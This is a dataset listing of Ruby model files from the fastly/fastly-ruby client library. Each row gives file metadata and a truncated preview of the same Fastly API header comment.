#Via the Fastly API you can perform any of the operations that are possible within the management console, including creating services, domains, and backends, configuring rules or uploading your own application code, as well as account operations such as user administration and billing reports. The... |
github | fastly/fastly-ruby | https://github.com/fastly/fastly-ruby | lib/fastly/models/compute_acl_list_entries.rb | Ruby | mit | 96 | main | 7,214 | =begin
#Fastly API
#Via the Fastly API you can perform any of the operations that are possible within the management console, including creating services, domains, and backends, configuring rules or uploading your own application code, as well as account operations such as user administration and billing reports. The... |
github | fastly/fastly-ruby | https://github.com/fastly/fastly-ruby | lib/fastly/models/logging_bigquery_additional.rb | Ruby | mit | 96 | main | 8,541 | =begin
#Fastly API
#Via the Fastly API you can perform any of the operations that are possible within the management console, including creating services, domains, and backends, configuring rules or uploading your own application code, as well as account operations such as user administration and billing reports. The... |
github | fastly/fastly-ruby | https://github.com/fastly/fastly-ruby | lib/fastly/models/dimension_browser.rb | Ruby | mit | 96 | main | 6,880 | =begin
#Fastly API
#Via the Fastly API you can perform any of the operations that are possible within the management console, including creating services, domains, and backends, configuring rules or uploading your own application code, as well as account operations such as user administration and billing reports. The... |
github | fastly/fastly-ruby | https://github.com/fastly/fastly-ruby | lib/fastly/models/fanout_response_service.rb | Ruby | mit | 96 | main | 6,876 | =begin
#Fastly API
#Via the Fastly API you can perform any of the operations that are possible within the management console, including creating services, domains, and backends, configuring rules or uploading your own application code, as well as account operations such as user administration and billing reports. The... |
github | fastly/fastly-ruby | https://github.com/fastly/fastly-ruby | lib/fastly/models/tokens_additional_props.rb | Ruby | mit | 96 | main | 7,039 | =begin
#Fastly API
#Via the Fastly API you can perform any of the operations that are possible within the management console, including creating services, domains, and backends, configuring rules or uploading your own application code, as well as account operations such as user administration and billing reports. The... |
github | fastly/fastly-ruby | https://github.com/fastly/fastly-ruby | lib/fastly/models/domain_inspector_entry.rb | Ruby | mit | 96 | main | 7,363 | =begin
#Fastly API
#Via the Fastly API you can perform any of the operations that are possible within the management console, including creating services, domains, and backends, configuring rules or uploading your own application code, as well as account operations such as user administration and billing reports. The... |
github | fastly/fastly-ruby | https://github.com/fastly/fastly-ruby | lib/fastly/models/user_response.rb | Ruby | mit | 96 | main | 11,579 | =begin
#Fastly API
#Via the Fastly API you can perform any of the operations that are possible within the management console, including creating services, domains, and backends, configuring rules or uploading your own application code, as well as account operations such as user administration and billing reports. The... |
github | fastly/fastly-ruby | https://github.com/fastly/fastly-ruby | lib/fastly/models/invitation_response_data_all_of.rb | Ruby | mit | 96 | main | 7,394 | =begin
#Fastly API
#Via the Fastly API you can perform any of the operations that are possible within the management console, including creating services, domains, and backends, configuring rules or uploading your own application code, as well as account operations such as user administration and billing reports. The... |
github | fastly/fastly-ruby | https://github.com/fastly/fastly-ruby | lib/fastly/models/apex_redirect.rb | Ruby | mit | 96 | main | 11,644 | =begin
#Fastly API
#Via the Fastly API you can perform any of the operations that are possible within the management console, including creating services, domains, and backends, configuring rules or uploading your own application code, as well as account operations such as user administration and billing reports. The... |
github | fastly/fastly-ruby | https://github.com/fastly/fastly-ruby | lib/fastly/models/brotli_compression_response_customer.rb | Ruby | mit | 96 | main | 6,925 | =begin
#Fastly API
#Via the Fastly API you can perform any of the operations that are possible within the management console, including creating services, domains, and backends, configuring rules or uploading your own application code, as well as account operations such as user administration and billing reports. The... |
github | fastly/fastly-ruby | https://github.com/fastly/fastly-ruby | lib/fastly/models/image_optimizer_response_product.rb | Ruby | mit | 96 | main | 6,902 | =begin
#Fastly API
#Via the Fastly API you can perform any of the operations that are possible within the management console, including creating services, domains, and backends, configuring rules or uploading your own application code, as well as account operations such as user administration and billing reports. The... |
github | fastly/fastly-ruby | https://github.com/fastly/fastly-ruby | lib/fastly/models/tls_private_key_response.rb | Ruby | mit | 96 | main | 6,837 | =begin
#Fastly API
#Via the Fastly API you can perform any of the operations that are possible within the management console, including creating services, domains, and backends, configuring rules or uploading your own application code, as well as account operations such as user administration and billing reports. The... |
github | fastly/fastly-ruby | https://github.com/fastly/fastly-ruby | lib/fastly/models/relationship_member_tls_configuration.rb | Ruby | mit | 96 | main | 7,104 | =begin
#Fastly API
#Via the Fastly API you can perform any of the operations that are possible within the management console, including creating services, domains, and backends, configuring rules or uploading your own application code, as well as account operations such as user administration and billing reports. The... |
github | fastly/fastly-ruby | https://github.com/fastly/fastly-ruby | lib/fastly/models/director_backend_all_of.rb | Ruby | mit | 96 | main | 7,197 | =begin
#Fastly API
#Via the Fastly API you can perform any of the operations that are possible within the management console, including creating services, domains, and backends, configuring rules or uploading your own application code, as well as account operations such as user administration and billing reports. The... |
github | fastly/fastly-ruby | https://github.com/fastly/fastly-ruby | lib/fastly/models/type_tls_bulk_certificate.rb | Ruby | mit | 96 | main | 1,420 | =begin
#Fastly API
#Via the Fastly API you can perform any of the operations that are possible within the management console, including creating services, domains, and backends, configuring rules or uploading your own application code, as well as account operations such as user administration and billing reports. The... |
github | fastly/fastly-ruby | https://github.com/fastly/fastly-ruby | lib/fastly/models/healthcheck_response.rb | Ruby | mit | 96 | main | 13,206 | =begin
#Fastly API
#Via the Fastly API you can perform any of the operations that are possible within the management console, including creating services, domains, and backends, configuring rules or uploading your own application code, as well as account operations such as user administration and billing reports. The... |
github | fastly/fastly-ruby | https://github.com/fastly/fastly-ruby | lib/fastly/models/mutual_authentication.rb | Ruby | mit | 96 | main | 6,833 | =begin
#Fastly API
#Via the Fastly API you can perform any of the operations that are possible within the management console, including creating services, domains, and backends, configuring rules or uploading your own application code, as well as account operations such as user administration and billing reports. The... |
github | fastly/fastly-ruby | https://github.com/fastly/fastly-ruby | lib/fastly/models/origin_inspector_response_body_enable.rb | Ruby | mit | 96 | main | 7,646 | =begin
#Fastly API
#Via the Fastly API you can perform any of the operations that are possible within the management console, including creating services, domains, and backends, configuring rules or uploading your own application code, as well as account operations such as user administration and billing reports. The... |
github | fastly/fastly-ruby | https://github.com/fastly/fastly-ruby | lib/fastly/models/brotli_compression_response_links_get_all_services.rb | Ruby | mit | 96 | main | 6,950 | =begin
#Fastly API
#Via the Fastly API you can perform any of the operations that are possible within the management console, including creating services, domains, and backends, configuring rules or uploading your own application code, as well as account operations such as user administration and billing reports. The... |
github | fastly/fastly-ruby | https://github.com/fastly/fastly-ruby | lib/fastly/models/invitation_response_data.rb | Ruby | mit | 96 | main | 7,797 | =begin
#Fastly API
#Via the Fastly API you can perform any of the operations that are possible within the management console, including creating services, domains, and backends, configuring rules or uploading your own application code, as well as account operations such as user administration and billing reports. The... |
github | fastly/fastly-ruby | https://github.com/fastly/fastly-ruby | lib/fastly/models/pool_response_post_all_of.rb | Ruby | mit | 96 | main | 6,987 | =begin
#Fastly API
#Via the Fastly API you can perform any of the operations that are possible within the management console, including creating services, domains, and backends, configuring rules or uploading your own application code, as well as account operations such as user administration and billing reports. The... |
github | fastly/fastly-ruby | https://github.com/fastly/fastly-ruby | lib/fastly/models/relationship_tls_domain.rb | Ruby | mit | 96 | main | 6,962 | =begin
#Fastly API
#Via the Fastly API you can perform any of the operations that are possible within the management console, including creating services, domains, and backends, configuring rules or uploading your own application code, as well as account operations such as user administration and billing reports. The... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.